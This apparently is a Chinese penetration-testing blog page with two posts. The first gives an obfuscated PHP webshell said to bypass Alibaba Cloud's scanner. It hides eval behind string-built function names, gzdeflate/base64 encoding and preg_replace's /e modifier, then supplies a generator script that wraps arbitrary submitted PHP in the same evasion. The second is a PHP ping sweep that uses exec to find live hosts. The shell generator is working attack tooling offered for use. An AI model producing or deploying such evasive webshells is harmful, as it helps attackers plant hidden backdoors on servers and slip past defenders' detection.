分类 渗透 下的文章

过阿里云webshell

某群看到的一个过阿里云的shell,

<?php 
    $cont = 'K8goyMxLy9fQtAYA';
    $b = str_replace('p', '', 'bpappspep6p4p_ppdpepcpopppdpep');
    $g = str_replace('o', '', 'gozoionofooloaootoeo');
    preg_replace('\'v\'e', 'e'.'v'.'a'.'l'.'($g($b($cont)))', 'v');
    ?>

分析出来是

<?php phpinfo();>

变异过程如下:

  • 原代码-->gzdeflate压缩-->base64编码

几个小细节:

  • gzdeflate,base64_encode等关键字都用str_replace来构造

  • 利用了preg_replace在/e修正下的代码执行,例如preg_replace('/a/e', 'phpinfo();', 'qaq')在匹配成功的时候,会执行参数2的代码。

附上一个加密脚本:

<?php
/*
 @ 免杀shell生成,目前过阿里云
 @ 有机会再多写几个函数
 */
 
//变异函数_1
function encode($cont) {
    $cont_encode = base64_encode(gzdeflate($cont));
    return $cont_encode;
}

if(isset($_POST['cont'])) {
    $cont = $_POST['cont'];
    $encode_shell = encode($cont);
}

//输出变异后代码
function print_shell($encode_shell) {
    $str = '<?php 
    ';
    $str .= '$cont = \''.$encode_shell.'\';
    ';
    $str .= '$b = str_replace(\'p\', \'\', \'bpappspep6p4p_ppdpepcpopppdpep\');
    ';
    $str .= '$g = str_replace(\'o\', \'\', \'gozoionofooloaootoeo\');
    ';
    $str .= 'preg_replace(\'\\\'v\\\'e\', \'e\'.\'v\'.\'a\'.\'l\'.\'($g($b($cont)))\', \'v\');
    ';
    $str .= '?>';
    return $str;
    //highlight_string($str);
}
if(!empty($encode_shell)) {
    $str = print_shell($encode_shell);
}
?>

<html>
<form action="" method="post">
<textarea rows="20" cols="100" name="cont">phpinfo();</textarea>
<br />
<input type="submit" value="encode" />
</form>
<textarea rows="20" cols="100" ><?php if(!empty($str)){echo $str;}?></textarea>
</html>

参考:
http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval
https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html

php版ping命令脚本

<?php
    ini_set("max_execution_time", '0');    //不超时
    $start = '192.168.0.1';
    $stop = '192.168.0.10';
    $overtime = '1000';
    $times = '1';
    function ping($start, $stop, $overtime, $times) {
        /*
         * ping命令检测存活主机
         * @param $start, $stop, $overtime, $times
                  起始ip  结束ip  超时     发包次数
         */
        preg_match('/^\w+\.\w+\.\w+\./', $start, $ip0);    //ip前缀
        preg_match('/\d+$/', $start, $ip1);
        preg_match('/\d+$/', $stop, $ip2);
        $ips = $ip2[0] - $ip1[0];
        echo 'live:<br />';
        for($ip1[0]; $ip1[0]<=$ip2[0]; $ip1[0]++) {
            $ip = $ip0[0].$ip1[0];
            $out = exec("ping $ip -n $times -w $overtime");
            //特征:100%丢包
            if(!strpos($out, '100%')) {
                echo $ip.'<br />';
            }
        }
        echo 'over';
    }
    ping($start, $stop, $overtime, $times);